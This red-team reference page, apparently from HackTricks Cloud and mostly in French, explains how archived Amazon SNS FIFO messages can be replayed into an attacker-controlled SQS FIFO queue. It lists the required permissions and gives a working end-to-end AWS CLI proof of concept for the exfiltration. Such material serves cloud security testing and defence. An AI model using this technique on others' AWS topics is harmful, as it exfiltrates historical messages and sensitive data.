SNS FIFO Archive Replay Exfiltration via Attacker SQS FIFO Subscription
Reading time: 5 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Abus de l'archivage des messages d'un topic Amazon SNS FIFO pour rejouer et exfiltrer des messages publiés précédemment vers une file SQS FIFO contrôlée par l'attaquant en configurant l'attribut ReplayPolicy de la subscription.
- Service : Amazon SNS (FIFO topics) + Amazon SQS (FIFO queues)
- Requirements : Le topic doit avoir ArchivePolicy activé (archivage des messages). L'attaquant peut Subscribe au topic et définir des attributs sur sa subscription. L'attaquant contrôle une SQS FIFO queue et autorise le topic à envoyer des messages.
- Impact : Des messages historiques (publiés avant la subscription) peuvent être délivrés au endpoint contrôlé par l'attaquant. Les livraisons rejouées sont marquées avec Replayed=true dans l'enveloppe SNS.
Preconditions
- SNS FIFO topic avec archivage activé :
ArchivePolicy(par ex.{ "MessageRetentionPeriod": "2" }pour 2 jours). - L'attaquant dispose des permissions suivantes :
sns:Subscribesur le topic cible.sns:SetSubscriptionAttributessur la subscription créée.- L'attaquant a une SQS FIFO queue et peut attacher une queue policy permettant
sns:SendMessagedepuis le topic ARN.
Minimum IAM permissions
- Sur le topic :
sns:Subscribe. - Sur la subscription :
sns:SetSubscriptionAttributes. - Sur la queue :
sqs:SetQueueAttributespour la policy, et une queue policy autorisantsns:SendMessagedepuis le topic ARN.
Attack: Replay archived messages to attacker SQS FIFO
L'attaquant inscrit sa SQS FIFO queue au topic SNS FIFO de la victime, puis définit le ReplayPolicy sur un timestamp passé (dans la fenêtre de rétention de l'archive). SNS rejoue immédiatement les messages archivés correspondants vers la nouvelle subscription et les marque avec Replayed=true.
Notes :
- Le timestamp utilisé dans
ReplayPolicydoit être >= leBeginningArchiveTimedu topic. S'il est antérieur, l'API renvoieInvalid StartingPoint value. - Pour SNS FIFO
Publish, vous devez spécifier unMessageGroupId(et soit un dedup ID soit activerContentBasedDeduplication).
End-to-end CLI POC (us-east-1)
REGION=us-east-1
# Compute a starting point; adjust later to >= BeginningArchiveTime if needed
TS_START=$(python3 - << 'PY'
from datetime import datetime, timezone, timedelta
print((datetime.now(timezone.utc) - timedelta(minutes=15)).strftime('%Y-%m-%dT%H:%M:%SZ'))
PY
)
# 1) Create SNS FIFO topic with archiving (2-day retention)
TOPIC_NAME=htreplay$(date +%s).fifo
TOPIC_ARN=$(aws sns create-topic --region "$REGION" \
--cli-input-json '{"Name":"'"$TOPIC_NAME"'","Attributes":{"FifoTopic":"true","ContentBasedDeduplication":"true","ArchivePolicy":"{\"MessageRetentionPeriod\":\"2\"}"}}' \
--query TopicArn --output text)
echo "Topic: $TOPIC_ARN"
# 2) Publish a few messages BEFORE subscribing (FIFO requires MessageGroupId)
for i in $(seq 1 3); do
aws sns publish --region "$REGION" --topic-arn "$TOPIC_ARN" \
--message "{\"orderId\":$i,\"secret\":\"ssn-123-45-678$i\"}" \
--message-group-id g1 >/dev/null
done
# 3) Create attacker SQS FIFO queue and allow only this topic to send
Q_URL=$(aws sqs create-queue --queue-name ht-replay-exfil-q-$(date +%s).fifo \
--attributes FifoQueue=true --region "$REGION" --query QueueUrl --output text)
Q_ARN=$(aws sqs get-queue-attributes --queue-url "$Q_URL" --region "$REGION" \
--attribute-names QueueArn --query Attributes.QueueArn --output text)
cat > /tmp/ht-replay-sqs-policy.json <<JSON
{"Version":"2012-10-17","Statement":[{"Sid":"AllowSNSSend","Effect":"Allow","Principal":{"Service":"sns.amazonaws.com"},"Action":"sqs:SendMessage","Resource":"$Q_ARN","Condition":{"ArnEquals":{"aws:SourceArn":"$TOPIC_ARN"}}}]}
JSON
# Use CLI input JSON to avoid quoting issues
aws sqs set-queue-attributes --region "$REGION" --cli-input-json "$(python3 - << 'PY'
import json, os
print(json.dumps({
'QueueUrl': os.environ['Q_URL'],
'Attributes': {'Policy': open('/tmp/ht-replay-sqs-policy.json').read()}
}))
PY
)"
# 4) Subscribe the queue to the topic
SUB_ARN=$(aws sns subscribe --region "$REGION" --topic-arn "$TOPIC_ARN" \
--protocol sqs --notification-endpoint "$Q_ARN" --query SubscriptionArn --output text)
echo "Subscription: $SUB_ARN"
# 5) Ensure StartingPoint is >= BeginningArchiveTime
BEGIN=$(aws sns get-topic-attributes --region "$REGION" --topic-arn "$TOPIC_ARN" --query Attributes.BeginningArchiveTime --output text)
START=${TS_START}
if [ -n "$BEGIN" ]; then START="$BEGIN"; fi
aws sns set-subscription-attributes --region "$REGION" --subscription-arn "$SUB_ARN" \
--attribute-name ReplayPolicy \
--attribute-value "{\"PointType\":\"Timestamp\",\"StartingPoint\":\"$START\"}"
# 6) Receive replayed messages (note Replayed=true in the SNS envelope)
aws sqs receive-message --queue-url "$Q_URL" --region "$REGION" \
--max-number-of-messages 10 --wait-time-seconds 10 \
--message-attribute-names All --attribute-names All
Impact
Impact potentiel : Un attaquant qui peut s'abonner à un SNS FIFO topic avec l'archivage activé et définir ReplayPolicy sur son abonnement peut immédiatement rejouer et exfiltrer des messages historiques publiés sur ce topic, et pas seulement les messages envoyés après la création de l'abonnement. Les messages livrés incluent un indicateur Replayed=true dans l'enveloppe SNS.
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud